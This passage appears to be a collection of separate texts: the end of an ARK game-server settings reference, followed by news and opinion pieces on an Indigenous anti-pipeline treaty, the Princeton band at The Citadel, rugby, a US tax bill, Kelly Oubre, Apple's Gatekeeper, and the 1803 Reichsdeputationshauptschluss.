increase stamina consumption (dinosaurs get tired faster).  DinoCountMultiplier Specifies the scaling factor for dinosaur spawns. Higher values increase the number of dinosaurs spawned throughout the ARK.  DinoDamageMultiplier Specifies the scaling factor for the damage dinosaurs deal with their attacks. The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.  DinoResistanceMultiplier Specifies the scaling factor for the resistance to damage dinosaurs receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a dino taking half damage while a value of 2.0 would result in a dino taking double normal damage.  globalVoiceChat Voice chat turns global  HarvestAmountMultiplier Specifies the scaling factor for yields from all harvesting activities (chopping down trees, picking berries, carving carcasses, mining rocks, etc.). Higher values increase the amount of materials harvested with each strike.  HarvestHealthMultiplier Specifies the scaling factor for the \"health\" of items that can be harvested (trees, rocks, carcasses, etc.). Higher values increase the amount of damage (i.e. \"number of strikes\") such objects can withstand before being destroyed, which results in higher overall harvest yields.  MaxStructuresInRange (OUTDATED) Specifies the maximum number of structures that can be constructed within a certain (currently hard-coded) range.  noTributeDownloads Disables downloading characters from other servers  PreventDownloadSurvivors Prevents the download of survivors  PreventDownloadItems Prevents the download of items  PreventDownloadDinos Prevents the download of dinos  PlayerCharacterFoodDrainMultiplier Specifies the scaling factor for player characters\' food consumption. Higher values increase food consumption (player characters get hungry faster).  PlayerCharacterHealthRecoveryMultiplier Specifies the scaling factor for player characters\' health recovery. Higher values increase the recovery rate (player characters heal faster).  PlayerCharacterStaminaDrainMultiplier Specifies the scaling factor for player characters\' stamina consumption. Higher values increase stamina consumption (player characters get tired faster).  PlayerCharacterWaterDrainMultiplier Specifies the scaling factor for player characters\' water consumption. Higher values increase water consumption (player characters get thirsty faster).  PlayerDamageMultiplier Specifies the scaling factor for the damage players deal with their attacks. The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.  PlayerResistanceMultiplier Specifies the scaling factor for the resistance to damage players receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a player taking half damage while a value of 2.0 would result in taking double normal damage.  proximityChat Only players near each other can see their chat messages  ResourceNoReplenishRadiusPlayers Defines the distance where there are no resources respawning when being close to a player  ResourceNoReplenishRadiusStructures Defines the distance where there are no resources respawning when being close to a structure  ResourcesRespawnPeriodMultiplier Specifies the scaling factor for the respawn rate for resource nodes (trees, rocks, bushes, etc.). Lower values cause nodes to respawn more frequently.  ServerAdminPassword If specified, players must provide this password (via the in-game console) to gain access to administrator commands on the server.  ServerCrosshair Shows crosshair  serverForceNoHud HUD always disabled  serverHardcore Enables hardcore mode (player characters revert to level 1 upon death)  ServerPassword If specified, players must provide this password to join the server.  serverPVE Disables PvP, enables PvE  ShowMapPlayerLocation Show each player their own precise position when they view their map  StructureDamageMultiplier Specifies the scaling factor for the damage structures deal with their attacks (i.e. spiked walls). The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.  StructureResistanceMultiplier Specifies the scaling factor for the resistance to damage structures receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a structure taking half damage while a value of 2.0 would result in a structure taking double normal damage.  TamedDinoDamageMultiplier Specifies the scaling factor for tamed dinosaurs damage. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.  TamedDinoResistanceMultiplier Specifies the scaling factor for dinosaurs fortitude. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.  TamingSpeedMultiplier Specifies the scaling factor for dinosaur taming speed. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.  XPMultiplier Specifies the scaling factor for the experience received by players, tribes and dinosaurs for various actions. The default value 1 provides the same amounts of experience as in the singleplayer experience (and official public servers). Higher values increase XP amounts awarded for various actions; lower values decrease it.  EnablePVPGamma Allows or disallows usage of gamma on PVP servers  EnablePVEGamma Allows or disallows usage of gamma on PVE servers  SpectatorPassword To use non-admin spectator, the server must specify a spectator password. Then any client can use these console commands: requestspectator and stopspectating. See patch 191.0 for more information and hotkeys.  DifficultyOffset Specifies the difficulty level.  PvEStructureDecayPeriodMultiplier Specifies the scaling factor for the decay rate of player structures in PvE mode. The specific effect(s) of this option and its range of valid values are unknown as of this writing.  PvEStructureDecayDestructionPeriod Specifies the time required for player structures to decay in PvE mode. The specific effect(s) of this option and its range of valid values are unknown as of this writing.  Banlist Uses the global banlist of ARK to disallow players\' access who have been identified as cheaters  PvPStructureDecay Activates (true) oder deactivates (false) the structure decay on PVP servers  DisableDinoDecayPvE Deactivates the unclaiming functions for dinosaurs on PVE servers  PvEDinoDecayPeriodMultiplier Multiplier value for the unclaiming speed of dinosaurs  AdminLogging Enables the output of cheat commands that admins used (will be shown in chat)  MaxTamedDinos Defines the maximum amount of tamed dinos on the island  MaxNumbersofPlayersInTribe SOTF setting: Defines the maximum player limit per tribe  BattleNumOfTribestoStartGame SOTF setting: Defines how many tribes must have been created before the countdown for game start begins  TimeToCollapseROD SOTF setting: Defines the time period for the force field to collapse  BattleAutoStartGameInterval SOTF setting: Defines the length of the countdown before match begins  BattleSuddenDeathInterval SOTF setting: Defines the time before sudden death starts  KickIdlePlayersPeriod Time period until an idling player will be kicked from server  PerPlatformMaxStructuresMultiplier Defines the multiplicator for structures on saddle plattforms (Please use with caution - too high values may lead to a massive lack of performance)  StructureDamageRepairCooldown Defines the cooldown time when a previously damaged structure can be repaired again. (0 allows the structure to be always repaired)  bForceAllStructureLocking Server Option to allow Locking All Item Containers  AutoDestroyOldStructuresMultiplier Server Option to allow Auto-Destroying Structures after sufficient \\\\\\\"no nearby Tribe\\\\\\\" time has passed (defined as a multiplier of the Allow Claim period)  bUseVSync Deactivates the VSync setting (can reduce GPU problems in some cases)  MaxPlatformSaddleStructureLimit Defines the maximum number of structures on top of the saddle platform  bPassiveDefensesDamageRiderlessDinos Wild dinos or dinos without a rider can take damage from defense structures like spikewalls if this setting is activated  RCONPort Under which port RCON should be available?  AutoSavePeriodMinutes After which time period (in minutes) the server should auto-save the game? (Hint: A more frequent interval may lead some lags)  RCONServerGameLogBuffer How many chat lines should be available in RCON?  OverrideStructurePlatformPrevention Determines if turrets are allowed on moving platforms or not. Yes will prevent it. No will allow it  PreventOfflinePvPInterval Defines the time period of being offline so that a player will be really considered as being offline.  bPvPDinoDecay Determines if dinos of a player/tribe are also protected in the activated offline raid protection  bPvPStructureDecay Determines if structures of a player/tribe are also protected in the activated offline raid protection  DisableImprintDinoBuff Deactivates (no) the bonus stats for a dino if you raise the baby by yourself  AllowAnyoneBabyImprintCuddle Allows everybody to kuddle with the dino baby  EnableExtraStructurePreventionVolumes Prevents the building of structures on places which are rich of resources  ShowFloatingDamageText Shows dealt damages in a RPG style  DestroyUnconnectedWaterPipes If active, it will destroy the pipes automatically after two real-time days, if unconnected to any non-pipe (directly or indirectly) and no allied player is nearby.  OverrideOfficialDifficulty Overwrites the difficulty settings  TheMaxStructuresInRange New value for the maximum allowed structures nearby  MinimumDinoReuploadInterval Number of seconds cooldown between allowed Dino re-uploads (defaults to 0, set to 43200 on Official Servers which is 12 hours). Remaining cooldown time is displayed on the Dino Upload UI.  PvEAllowStructuresAtSupplyDrops Use "true" if you want to allow being able to build structures nearby supply drop. "false" will disable it.  NPCNetworkStasisRangeScalePlayerCountStart a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players  NPCNetworkStasisRangeScalePlayerCountEnd a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players  NPCNetworkStasisRangeScalePercentEnd a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players  MaxPersonalTamedDinos Quantity of dinos that a tribe is allowed to have (Default on official PVE servers is 500)  AutoDestroyDecayedDinos Option to auto-destroy claimable decayed dinos on load, rather than have them remain around as claimable. Official PvE servers now have this enabled.  ClampItemSpoilingTimes Will clamp all spoiling times to the items' maximum spoiling times. Useful if any infinite-spoiling exploits were used on the server and you wish to clean them up. Could potentially cause issues with Mods that alter spoiling time, hence it is an option.  UseOptimizedHarvestingHealth Server custom "HarvestAmountMultiplier" now works as it used to, to bias towards yielding rarer items. This is more costly for server performance, so if you want a more "optimized" server with high HarvestAmountMultiplier (but less rare items), you can launch with "yes" in this setting here.  AllowCrateSpawnsOnTopOfStructures Servers can now allow from-the-air Supply Crates to appear on top of Structures, rather than being prevented by Structures. Enabled on Official Servers.  ForceFlyerExplosives Made all Flyers except for Quetz and Wyvern become 'grounded' if you put a C4 on them. To disable this behavior, launch server with "yes"  PreventOfflinePvP Enables ORP on PVE/PVP servers if set to "yes"  AllowFlyingStaminaRecovery Flyer Nerf (to allow server to recover Stamina when standing on a Flyer, run with "yes"  AllowMultipleAttachedC4 Limited one C4 attached per dino, unless you choose "yes" to allow more than one C4  OxygenSwimSpeedStatMultiplier Use this to set how swim speed is multiplied by level spent in oxygen.  bPvEDisableFriendlyFire When using "yes", you are now able to harvest a slaughtered Ovis.  ServerAutoForceRespawnWildDinosInterval This will force respawns of dinos on servers to prevent certain dino types (like the Basilo and Spino) from becoming depopulated on long running servers. Specify a value in seconds (86400 means a forced respawn after one day (realtime) for example)  DisableWeatherFog Server option to disable fog.  RandomSupplyCratePoints Server Option to make Supply Crates random  CrossARKAllowForeignDinoDownloads This allows you to download Non-Aberration Dinos on Aberration  PersonalTamedDinosSaddleStructureCost Defines how many tame slots are being used by a saddle platform (with structures) - Default: 19  [/script/engine.gamesession]  MaxPlayers Specifies the maximum number of players that can play on the server simultaneously.  [SessionSettings]  SessionName Name of your server  [MessageOfTheDay]  Duration Specifies the duration of the welcome message  Message Defines a welcome message
-Recently, representatives from the Omaha Tribe, Winnebago Tribe of Nebraska, Nez Perce, Choctaw Nation, Ponca Tribe of Nebraska, Ponka Tribe of Oklahoma signed the Treaty Alliance Against Tar Sands Expansion.  Greenpeace Canada  The Treaty Alliance Against Tar Sands Expansion is an "expression of Indigenous Law prohibiting the pipelines/trains/tankers that will feed the expansion of the Alberta Tar Sands" through the territorial lands and waters of the signatories.  The tribes and nations that signed the historic accord recently now join over 150 nations and tribes that have endorsed the treaty.  They stand together in a fierce wall of opposition.  "Along with our Indigenous allies all along the KXL route like the Oceti Sakowin (Great Sioux Nation) and all over Turtle Island (North America), we recognize the grave dangers in allowing this 'Black Snake' to enter our homelands," said Chairman Larry Wright Jr. of the Ponca Tribe of Nebraska. "As the State of Nebraska stands poised to make a potentially life-altering decision about permitting this poisonous bitumen to be inflicted on its population, we stand poised to protect all life now and in the future."  The treaty is an assertion of Indigenous law and a clear statement that tar sands pipelines (Keystone XL, Line 3, Trans Mountain, and Energy East) do not have the consent of all the nations and tribes whose lands and waters they seek to cross.  Bloomberg via Getty Images Handmade anti-pipeline signs are seen on the side of a road in the First Nations village of Old Massett, B.C., on Aug. 25, 2016.  One of the primary rights enshrined in the U.N. Declaration on the Rights of Indigenous Peoples (UNDRIP) — which the prime minister of Canada, premier of Alberta and premier of British Columbia all claim to support and want implemented into law — is the right to Free, Prior and Informed Consent (FPIC).  Taken on its own, the term consent is a pretty straightforward one. Google dictionary defines consent as both a noun and a verb:  noun 1. permission for something to happen or agreement to do something.  "No change may be made without the consent of all the partners."  verb 1. give permission for something to happen.  "He consented to a search by a detective."  Reading these everyday definitions, it becomes clear at very basic level that none of the four proposed tar sands pipelines (KXL, Trans Mountain, Line 3 or Energy East) have the consent of all the nations and tribes that any of pipelines would pass through.  Governments and companies have a history of making decisions that impact Indigenous communities without their permission.  But, it's also important to take the other parts of FPIC into considerations.  For consent to be "free" it must be given without pressure, coercion or fear or repercussions. For consent to be "prior" it must be given prior to resource development and official approval of such development. For consent to be "informed" communities must be given all information needed to make a decision that is in their best interests; this includes not only logistical and financial information, but information on the environmental and social considerations of a project in an accessible and digestible format and language.  Paying lip service to UNDRIP will only get us so far. Any leader who supports the adoption of UNDRIP from international to national law must support FPIC. Any leader that wishes to uphold their commitments to Indigenous peoples and UNDRIP therefore cannot support any of the four tar sands pipelines that violate this foundational right to consent or the tenets of free, prior and informed consent.  Treaty Alliance Against Tarsands Expansion  It may not be a popular opinion for those seeking to win the influence of the oil industry or votes among its workers, but it's a necessary step in the path to reconciliation.  From colonization, to residential schools, to pipeline approvals, governments and companies have a history of making decisions that impact Indigenous communities without their permission. This practice needs to end before true healing can begin. Governments can't build the trust and relationships essential to reconciliation until they begin to truly respect the voices and rights of Indigenous Peoples, and start living up to the commitments they have already made to the First Peoples of these lands.  Over 150 nations and tribes have made it clear that they do not consent to tar sands pipelines.  It's time we listened.  Follow HuffPost Canada Blogs on Facebook  Also on HuffPost:
-In a clash of cultures that threatened to spiral into bloodshed, the Princeton University band received a harsh welcome from offended cadets at the Charleston, S.C., military college when the two schools' football teams squared off for the first time over the weekend.  The band's president, Princeton senior Alex Barnard, said some 80 over-aggressive cadets roughed up two people, broke a clarinet, stole members' hats and cursed the band when it inadvertently marched along the "Avenue of Remembrance," a campus street that honors The Citadel's war dead.  Later, as the band performed its unusual routine during the halftime show, the crowd of 13,000 booed relentlessly, chanting "Go home, Princeton" and shouting profanities and anti-homosexual slurs. Several videos of the display have made it onto YouTube.  After the show, a group of cadets again gathered around the band members, reducing some to tears before police intervened, Barnard said.  "Thirty cadets had surrounded us in the stands and were screaming in our faces," said Barnard, a 21-year-old sociology major from Flagstaff, Ariz., today.  The incident prompted a pseudo-apology from The Citadel's president, retired Air Force Lt. Gen. John W. Rosa. In a statement, Rosa said the school, one of the nation's top military colleges, "must hold cadets to a higher standard."  "We will use this episode as a learning experience to reinforce with cadets that they are representatives of The Citadel, and that their behavior redounds to the reputation of the college," Rosa said.  There was less contrition from the local media. One columnist for the Post and Courier of Charleston wrote that the cadets "should be given a medal for standing up for their school" and that the Princeton band should be "ashamed."  "All those pseudo-intellectuals and not a single brain among them," the columnist concluded.  Princeton's administration is standing by the band, saying it worked with The Citadel long before the game to ensure nothing would be offensive.  "They met every request that The Citadel required," Princeton spokeswoman Cass Cliatt said.  Princeton's band is a "scramble band," so named because members frequently break ranks from a traditional march and rush around the field. Members wear bright orange jackets and sometimes play instruments fashioned out of unusual objects, from toilet seats to car mufflers.  During halftime shows, announcers read scripts that satirize and poke fun. There are fewer than a dozen such bands in the country, and most of those are in the Ivy League, according to the Princeton band's website.  "We're all about fun," Barnard said. "We're pretty non-threatening. We intend to look silly."  Barnard said he expected "southern hospitality" at The Citadel but was conscious of the school's reputation for seriousness. As a result, he said, he made sure the halftime script was approved by Citadel administrators.  But he was unprepared for the problems before the Saturday afternoon game.  Barnard said the 43 band members who made the 12-hour bus trip to Charleston didn't know they were treading on revered ground when they walked up the Avenue of Remembrance.  Witnesses to the fracas told The Post and Courier that band members appeared to be making fun of cadets with buffoonish salutes as they exercised on a drill field. Infuriated cadets surrounded the band, shouting and getting physical, Barnard said.  One Princeton student was shoved from behind. Another was pushed into a tree, Barnard said. Several female band members were spit on, he said.  The issue appeared to be resolved when senior officers ordered the cadets to stand down, but problems flared again during the halftime show, in which a band announcer cracked jokes about vice presidential candidates Sarah Palin and Joe Biden and made seemingly mild references to the differences between the two schools.  "At The Citadel, a tour involves one hour of forced marching; at Princeton, it involves enjoying beverages at every eating club," one joke went.  Barnard said a couple of band members took the on-field hijinks too far -- two students were seen grinding against each other -- but that the band as a whole behaved well and performed the "tamest" halftime show of his four years at Princeton.  The Citadel's football team won the game, 37-24. The two teams meet again at Princeton next fall.  "We plan on showing them a good time," Barnard said.
-Springboks coach Heyneke Meyer and All Blacks boss Steve Hansen after last year's test at Ellis Park. The pair had dinner in Johannesburg this week.  Steve Hansen had a dinner date in Johannesburg this week.  Hansen, as has been his habit in recent times, met with Springboks counterpart Heyneke Meyer - or "H" as he likes to call him - to have a quiet graze and discuss life inside and outside the rugby bubble.  In a bygone era the concept of dining with an opposition coach before a test at Ellis Park would have untenable. Not under Hansen.  He says that is what sport is about; enjoying your mate's company, trying to out-wit him for 80 minutes and then shaking his mitt, grabbing a club sandwich and uncapping a beer with him afterwards.  Which brings us to the debate about which coach should be avoided if there's a dispute about who picks up the restaurant tab.  TV footage of Meyer's mad excitement in the coach's box suggests he could blow-up if he feels he is being ripped-off. Hansen, too, can be a strong-willed chap. Don't expect him to roll over if a freeloader tanks-up on expensive wine and then tries to slip out the back door.  Former Blues coach Sir John Kirwan's halftime explosions have earned him a reputation and Black Ferns coach Greg Smith could be a bit excitable, given recent reports about him erupting at a club match in the Waikato. You could rattle out a long list of Frenchies, but let's not bother.  Our vote goes to the Wallabies' fiery Michael Cheika. Few can kick-off like the volatile Sydneysider. When he goes off, it's TNT time.  ***  Meyer has had a funny old week.  During a press conference to reveal Schalk Burger as his new captain the power went out. The next day, when he was discussing the selections of his side in the garden of his team's hotel, an advertising screen toppled over in the wind and fell on his head. He copped it sweet and uttered something along the lines of "I hope someone's not trying to tell me something".  Well, it wasn't Heinrich Brussow. At last, after almost four years of being ignored by Meyer, he has been selected to start against the All Blacks. And he has a perfect record; four wins from four outings against the boys in black.  ***  Talking of hotels, the Springboks' digs at the Montecasino "leisure and entertainment centre" in Jo'burg were a beaut. Montecasino, which covers 26 hectares and is designed to replicate an ancient Italian village, is where those with a disposable income come to gamble, eat well and stare at the expensive European cars in front of the expensive hotels.  The Boks' hotel, which looked had been transported straight out of a Tuscan setting, was surrounded by manicured hedges, lawns and a pool with massive carp swimming inside it. As their forwards practiced their lineout moves, pink flamingos strutted around in the background and water fountains tinkled quietly.  Gone are the days when touring teams would find a quiet section of the car park, sweep aside the cigarette butts and wolf whistle at the paint job of a fancy Holden HQ haphazardly parked in front of the local lounge bar.  ***  Dane Coles rolls casually and we like it. With his patchy stubble and close-cropped haircut you could imagine him swapping jokes with the boys at the local trucking firm or on a building site. No cliches with the good-natured Coles, who tells it as he sees it and with a smile on his mug.  He also gave South African media plenty to hoot about when he mistakenly called Eben Etzebeth "Elizabeth".  Rather than get all precious, Coles could laugh at himself. No blushes or staring silently at the ceiling with this joker.  And then he tried to throw his good mate James Broadhurst under the bus. He intimated that if Etzebeth takes offence by his error he can take his frustrations out on the test debutant Broadhurst.
-The Senate’s narrow margin on the tax overhaul provides it with some leverage in conference negotiations with the House. (Bill Clark/CQ Roll Call)  The Senate’s passage of a tax overhaul illustrated a fragile coalition of support that ironically provides the chamber with the upper hand headed into conference committee negotiations with the House.  House Republicans wanted a conference process on the two chambers’ differing tax bills to prevent the House from getting jammed by the Senate, as they acknowledge has happened frequently on major bills.  But some members realize that a conference committee may still result in a final product that tracks more with Senate priorities given the thin margin of support in that chamber.  Senate passage came after days of negotiations in which several Senate Republican holdouts were offered significant concessions to secure their votes, with some changes designed just to appease a single senator.  “You have senators over there negotiating 400 billion things. That’s why people want to be in the Senate, not in the House,” Pennsylvania GOP Rep. Ryan A. Costello said, acknowledging that the Senate “absolutely” has the upper hand heading into conference.  Senate Majority Leader Mitch McConnell said Friday he expects negotiations to go smoothly.  “We’ve moved our initial thinking on this in the direction of the House bill, for example the property tax deduction, in order to get the bills closer together than they were,” the Kentucky Republican said. “I’m not saying the conference will be a piece of cake, but I don’t think there’s much chance we won’t be able to reconcile our differences and move forward.”  While Costello is not as adamant about the procedural argument for going to conference as other members, he said he supports it “on the basis that we need all members to feel that their opinion matters.”  “And if you’re just going to eat a Senate bill, then the only reason that we passed our first tax bill was to force the Senate to act,” the member of the moderate Tuesday Group added.  Another Pennsylvania Republican from the opposite end of the political spectrum, Freedom Caucus member Scott Perry, also acknowledged the power the Senate holds.  “Could we get jammed? Yes,” he said. “Does this member have confidence that we’re going to get concessions, meaningful concessions, from the Senate? Likely not.”  All for show?  Perry also suggested that a conference committee likely won’t be holding a ton of formal meetings to hash out their agreement.  “When you say ‘conference,’ people have in their mind something where everybody sits around the table and talks about different things, works out [differences],” he said. “That could be what it looks like, but I suspect it won’t look like that.”  House Ways and Means ranking member Richard E. Neal also suggested the conference committee will likely only meet for show. The Massachusetts Democrat said he has “relatively low expectations” and it’s likely the Republicans will have most everything done before the committee even has its first meeting. Nonetheless, he said Democrats should still name conferees.  The House is scheduled to vote Monday on a motion to go to conference on the tax bill. Republican leaders added the legislative day to the schedule to get the conference process moving.  More votes to spare  House Republicans have more votes to spare than Senate Republicans in terms of passing a final measure or conference report.  Assuming all Democrats remain opposed to the measure, the Senate can lose just two GOP votes — with Vice President Mike Pence casting a tie-breaking vote — but the House can lose 22.  Only 13 Republicans voted against the tax bill the House passed Nov. 16. Of those “no” votes, 12 came from members from the high-tax states of New York, New Jersey and California over concerns about the partial elimination of the state and local tax deduction, also known as SALT.  GOP leaders are working on a proposal to partially restore the deduction for state and local income taxes, which is fully repealed in both chambers’ bills, to address the concerns of California Republicans. But the Senate would have to agree to that in conference.  That’s just one of many issues the two chambers will have to tackle. Other House priorities include eliminating expiration dates for tax cuts for individuals, fully repealing the estate tax and maintaining the corporate rate at no higher than 20 percent.  “When that conference report comes back, both chambers equally have to be able to support it in a good strong way,” House Ways and Means Chairman Kevin Brady told Roll Call when asked if the Senate has the advantage because they have fewer votes to spare.  The Texas Republican said he’s “not satisfied yet with the House or the Senate version” of the tax overhaul and he’s expecting improvements to be made in conference.  “My goal is, pick the best of both, and in some ways do better than both,” he said. “I think we’ve learned from the process what’s important, what’s really hitting the targets we want from a pro-growth and a simplification standpoint and what not yet has done that.”  Bad blood  House Republicans have no shortage of complaints about the Senate. And while they personally like many of their colleagues across the Rotunda there’s clearly some bad blood resulting from institutional power dynamics.  “We do our work, we take the hard votes,” Freedom Caucus member Dave Brat said, expressing his frustration that the Senate has the upper hand in the tax negotiations, as they have had in other legislative matters.  The Virginia Republican’s frustration is shared widely across the GOP conference and has also been expressed recently in regard to the Senate not passing any appropriations bills after the House passed a 12-bill omnibus in September.  House Republicans’ grievances with the Senate reached a boiling point this year amid the Senate’s failure to pass a health care overhaul.  “When you’ve got three or four senators that have the history of what they did with the health care bill, that’s a problem,” Texas GOP Rep. Randy Weber said.  On whether the Senate will exercise a heavy hand in the tax negotiations, the Freedom Caucus member said, “I don’t know what they’re predisposed toward.”  Many other lawmakers also said they couldn’t predict what will come out of conference when asked about the prospect that the Senate could effectively jam the House because of its fragile vote coalition.  “This is new for a lot of the members, as far as we’ve actually got something come back from conference,” Republican Study Committee Chairman Mark Walker of North Carolina said. “We know what’s important to us in the House. How much of that [we get] would be pure speculation on my part.”  Rep. John Katko, co-chairman of the Tuesday Group, said he is hopeful the House will be able to secure its priorities in conference, noting, “There’s a lot in the Senate bill that concerns me, especially for my constituents.”  The New York Republican said the more the final bill resembles the House measure over the Senate version the better.  As to whether the House position can prevail given the fluidity among Senate Republicans, Katko said, “That’s a very good question. I’m hopeful. If we want to get it done, it’s going to have to happen.”  Tax writers optimistic  While some rank-and-file Republicans are skeptical about the conference process, GOP tax writers were more confident.  “For the first time since I’ve been here, the House is better organized and in a stronger position to advance its objectives,” said Ways and Means member Carlos Curbelo, currently in his second term.  Asked why he believes that, the Florida Republican said, “No. 1, I think our product is better for the most part, even though there are some elements of the Senate bill that I prefer. We’ve also built our coalition in a very competent manner with no drama. Senators know, for example, that we have firm commitments to our [state and local tax] colleagues, colleagues from higher-tax states. So I really feel momentum on the House side.”  Rep. Jackie Walorski, another tax writer, said she is “completely optimistic” the House GOP will be able to secure its priorities, saying the motivation and focus has not wavered.  “There’s nothing good-looking about the process,” the Indiana Republican said. “But the process works.”  Niels Lesniewski contributed to this report.
-LAS VEGAS -- Kelly Oubre Jr. was in demand Sunday, after his second summer league appearance for the Washington Wizards, and if it were up to him, the 19-year-old would happily oblige every microphone and camera thrust in front of him.  Oubre made headlines early in his pro career because of that confidence. It started on draft night, when Oubre, who had already turned heads with a shimmering maroon blazer and diamond-studded Christian Louboutin shoes, declared after being selected at No. 15 that whatever team got him was “getting a jewel.”  Later, once the Wizards finalized the trade that delivered Oubre’s draft rights in exchange for the No. 19 pick and two second-round picks, he was asked about his expectations for the night.  “My expectation was to go top 10,” Oubre said. "It doesn't work out like that for everybody, but I still feel like I'm one of the best players in this draft.”  In Vegas, he has started the process of trying to back up those words. Oubre scored 18 points on 5-of-17 shooting while grabbing eight rebounds over 32 minutes in Washington’s 94-74 loss to the D-League Select squad Sunday at Cox Pavilion on the UNLV campus.  Despite some efficiency struggles coming off a glitzier, 20-point, 10-rebound performance Friday in his pro debut against the Suns, Oubre’s confidence never wavered while he was prodded about his shooting woes.  He refused to make excuses, even when given the option to blame his 0-for-5 3-point performance on a deeper line at the NBA level.  “No, no, no,” Oubre said. He quickly pointed to his fundamentals and how he needs to remember not to rush. By the end of the answer, the confidence had muscled its way back in.  "I know I can shoot,” Oubre said. "I have 100 percent confidence in my shot.”  Most 19-year-olds are not this self-assured. That’s why a reporter wanted to know where Oubre's confidence comes from.  “Just knowing what I can do,” he said. "And hard work -- I work my butt off.”  Oubre is no stranger to adversity. Born in New Orleans, he was forced to relocate to Texas at age 9 in the aftermath of Hurricane Katrina.  “My dad just decided he was going to keep me in Houston because they had better resources,” Oubre said on draft night. "By him doing that, that was another sacrifice. He left his job, and we went through a little struggle through a point of time where we were living in hotels and cars. If it weren't for that time -- long story short -- I wouldn't be here today because that put a chip on my shoulder, and it allowed me to realize that everything that I've ever loved and had could be gone in a split second.  "My family was moved around. I didn't see my mom for about two months. My little brother was a baby. He was just born a couple years before [the hurricane]. That time was pretty hectic in my life, and my parents had divorced, so by them being split up, we went separate paths. I thought I lost [my family]. I didn't hear from them for a week or so. I always think about that on the court. That's what gives me my drive to want to be the best that I can be.  "I've always felt like I've been slept on, and I'm ready to wake people up. I'm motivated, and I'm a worker, and I want to be the best that I can be at this next level."  Oubre drew attention Friday with his big numbers and gold Nikes. On Sunday, he was a bit more discreet, including with his basic, white sneakers.  He is undeniably athletic and makes things look easy on the floor. Despite an obvious need to bulk up, he is able to attack the basket and will finish in traffic more as he gets stronger.  "I have the light frame,” Oubre said. "Everybody knows that. Everybody can see that. But I’m not weak. I can bang. A lot of guys are trying me, but they’re going to be pretty surprised on how strong I am.”  There’s a belief that he can be an impact defender, given his 7-foot-2 wingspan, but Oubre is going to have to work to carve out a role on a Wizards team that won 46 games and was the fifth seed in the Eastern Conference the previous season.  The departure of Paul Pierce could open doors to more playing time. Oubre thinks he can earn that opportunity and pair well with Washington’s young backcourt.  "I definitely feel like I can learn from [John Wall and Bradley Beal], play with them, and we can be successful together,” Oubre said. "By me doing so, coming in, I feel like I bring a lot to the team, I bring a lot to the table, and I'm just ready to get to work and help this team win.”  As usual, he has never sounded more confident.
-Gatekeeper is the new security feature introduced by Apple for the new (Mac) OS X update known as Mountain Lion. The idea is to enforce security for downloaded applications when users try to install them on their Apple PCs, but some critics described the feature as the beginning of the end for the user’s proper ownership of the OS behaviour and functionality on Apple machines.  Pretty ironically, this somewhat harsh criticism comes from a company working in the security field – the same one Apple is trying to cover more than ever within its latest consumer (and consumption) oriented products: on its corporate blog, Finnish antivirus company F-Secure dissects Gatekeeper and exposes some interesting findings about it.  The new OS X security feature restricts installation of Mac “apps” based on their sources, F-Secure explains, allowing applications downloaded “from Mac App Store”, “Mac App Store and identified developers” or “Anywhere”.  Under the new Gatekeeper regime, F-Secure states, Mac software developers will be pushed to sign with Apple ($99 per year) “to reduce friction”. And even if the user allowed installations of software downloaded “Anywhere”, The Developer ID program suggests that Gatekeeper could complain about the install operation anyway.  According to F-Secure, Gatekeeper is beginning “to solidify Mac’s walled garden”: “In the future – the F-Secure blog states – when Apple decides to further close its platform, device drivers could also be required to use Apple Developer IDs. Apple is famous for its focus on user experience, and it isn’t really very difficult to imagine it revoking third-party peripheral drivers in order to ‘secure’ that experience”.  Gatekeeper isn’t as much about more control “for” you, F-Secure concludes, as "more control – over – you".
-The Reichsdeputationshauptschluss (formally the Hauptschluss der außerordentlichen Reichsdeputation, or "Principal Conclusion of the Extraordinary Imperial Delegation"[1]), sometimes referred to in English as the Final Recess or the Imperial Recess of 1803, was a resolution passed by the Reichstag (Imperial Diet) of the Holy Roman Empire on 24 March 1803. It was ratified by the Emperor Francis II and became law on 27 April. It proved to be the last significant law enacted by the Empire before its dissolution in 1806.[2][3]  The resolution was approved by an Imperial Delegation (Reichsdeputation) on 25 February and submitted to the Reichstag for acceptance. It was based on a plan agreed in June 1802 between France and Russia, and broad principles outlined in the Treaty of Lunéville of 1801. The law secularized nearly 70 ecclesiastical states and abolished 45 imperial cities to compensate numerous German princes for territories to the west of the Rhine that had been annexed by France as a result of the French Revolutionary Wars.  Secularization and mediatization [ edit ]  The secularized ecclesiastical states (prince-bishoprics, prince-priories, prince-abbeys and imperial abbeys) were generally annexed to neighbouring secular principalities, with several of the abbeys being given as secular fiefs to those small princes who had lost their estates west of the Rhine. Only three ecclesiastical states survived as non-secular states: the Archbishopric of Regensburg, which was raised from a bishopric with the incorporation of part of the Archbishopric of Mainz, and the lands of the Teutonic Knights and Knights of Saint John. Also of note is the former Archbishopric of Salzburg, which was secularized as a duchy with an increased territorial scope, and was also made an electorate.  In addition, all but a handful of the 51 imperial cities were abolished and annexed to neighboring states.  The Reichsdeputationshauptschluss was ratified unanimously by the Reichstag in March 1803, and was approved by the emperor, Francis II, the following month. However the emperor made a formal reservation in respect of the reallocation of votes within the Reichstag, as the balance between Protestant and Catholic states had been shifted heavily in the former's favour.  Consequences [ edit ]  Following the Reichsdeputationshauptschluss, altogether 112 Imperial states, totaling 10,000 square kilometres, and a population of over three million people changed hands.[4] A number of the larger states made significant territorial gains (most notably Baden, Württemberg, Bavaria and Prussia), and Baden, Hesse-Kassel, and Württemberg gained status by being made electorates (to replace three that had been lost in the changes). Of the imperial cities, only Augsburg, Bremen, Frankfurt am Main, Hamburg, Lübeck, and Nuremberg survived as independent entities. The Transrhenanische Sustentationskommission was set up by the Imperial Diet to arrange the compensation of those princes whose territories had been ceded to France. It continued to 